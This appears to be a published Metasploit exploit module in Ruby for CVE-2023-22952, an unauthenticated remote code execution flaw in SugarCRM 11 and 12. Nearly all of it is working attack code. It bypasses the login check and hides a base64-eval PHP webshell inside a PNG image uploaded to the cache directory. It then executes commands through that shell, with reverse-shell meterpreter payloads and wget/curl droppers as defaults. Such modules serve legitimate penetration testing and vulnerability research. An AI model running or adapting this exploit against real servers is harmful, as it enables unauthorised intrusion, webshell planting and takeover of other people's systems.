SugarCRM 12.x Remote Code Execution / Shell Upload

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'securerandom'class MetasploitModule < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  include Msf::Exploit::Format::PhpPayloadPng  def initialize(info = {})    super(      update_info(        info,        'Name' => 'SugarCRM unauthenticated Remote Code Execution (RCE)',        'Description' => %q{          This module exploits CVE-2023-22952, a Remote Code Execution (RCE) vulnerability in SugarCRM 11.0 Enterprise,          Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and          Serve versions prior to 12.0.2.          The vulnerability occurs due to a lack of appropriate validation when uploading a malicious PNG file with          embedded PHP code to the /cache/images/ directory on the web server using the vulnerable endpoint          /index.php?module=EmailTemplates&action=AttachFiles. Once uploaded to the server, depending on server configuration,          the attacker can access the malicious PNG file via HTTP or HTTPS, thereby executing the malicious PHP code and          gaining access to the system.          This vulnerability does not require authentication because there is a missing authentication check in the          loadUser() method in include/MVC/SugarApplication.php. After a failed login, the session does not get          destroyed and hence the attacker can continue to send valid requests to the application.          Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain          access to the underlying operating system as the user that the web services are running as (typically www-data).        },        'Author' => [          'Sw33t.0day', # discovery          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module        ],        'References' => [          [ 'CVE', '2023-22952' ],          [ 'URL', 'https://seclists.org/fulldisclosure/2022/Dec/31' ],          [ 'URL', 'https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001/' ],          [ 'URL', 'https://sugarclub.sugarcrm.com/engage/b/sugar-news/posts/jan-5-2023-security-vulnerability-update' ],          [ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-22952' ],          [ 'PACKETSTORM', '170346' ]        ],        'License' => MSF_LICENSE,        'Platform' => [ 'unix', 'linux', 'php' ],        'Privileged' => false,        'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],        'Targets' => [          [            'PHP',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ ARCH_X64, ARCH_X86 ],              'Type' => :linux_dropper,              'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2022-12-28',        'DefaultOptions' => {          'SSL' => false,          'RPORT' => 80        },        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [ true, 'SugarCRM base url', '/' ]),        OptString.new('WEBSHELL', [          false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''        ]),        OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])      ]    )  end  def authenticate    # generate PHP session-id    @phpsessid = "PHPSESSID=#{SecureRandom.uuid}"    # randomize user and password to obfuscate and make finger printing difficult.    user_name = Rex::Text.rand_name    user_password = Rex::Text.rand_text_alphanumeric(8..16)    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'cookie' => @phpsessid.to_s,      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        'module' => 'Users',        'action' => 'Authenticate',        'user_name' => user_name.to_s,        'user_password' => user_password.to_s      }    })    if res && res.code == 500 && !res.body.blank?      return true    else      return false    end  end  def upload_webshell    # randomize file name and extension if option WEBSHELL is not set    file_ext = ['phar', 'phtml']    if datastore['WEBSHELL'].blank?      @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}"    else      @webshell_name = datastore['WEBSHELL'].to_s    end    # select webshell depending on the target setting (PHP or others).    @post_param = Rex::Text.rand_text_alphanumeric(1..8)    @get_param = Rex::Text.rand_text_alphanumeric(1..8)    if target['Type'] == :php      payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"    else      payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"    end    # inject PHP payload into the PLTE chunk of the PNG image    png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE')    if png_webshell.nil?      return false    end    # construct multipart form data    form_data = Rex::MIME::Message.new    form_data.add_part('AttachFiles', nil, nil, 'form-data; name="action"')    form_data.add_part('EmailTemplates', nil, nil, 'form-data; name="module"')    form_data.add_part(png_webshell.to_s, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"#{@webshell_name}\"")    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),      'cookie' => @phpsessid.to_s,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })    if res && res.code == 200 && !res.body.blank?      # parse HTML to find the webshell name embedded in a table that indicates a successful upload      html = res.get_html_document      if html.at("td[contains(\"#{@webshell_name}\")]")        return true      else        return false      end    else      return false    end  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),      'cookie' => @phpsessid.to_s,      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        @post_param => payload      }    })  end  def execute_command(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    php_cmd_function = datastore['COMMAND']    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),      'cookie' => @phpsessid.to_s,      'ctype' => 'application/x-www-form-urlencoded',      'vars_get' => {        @get_param => php_cmd_function      },      'vars_post' => {        @post_param => payload      }    })  end  def exploit    fail_with(Failure::NoAccess, 'Authentication bypass failed.') unless authenticate    fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_webshell    register_file_for_cleanup(@webshell_name.to_s)    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :php      execute_php(payload.encoded)    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager(linemax: 65536)    end  endend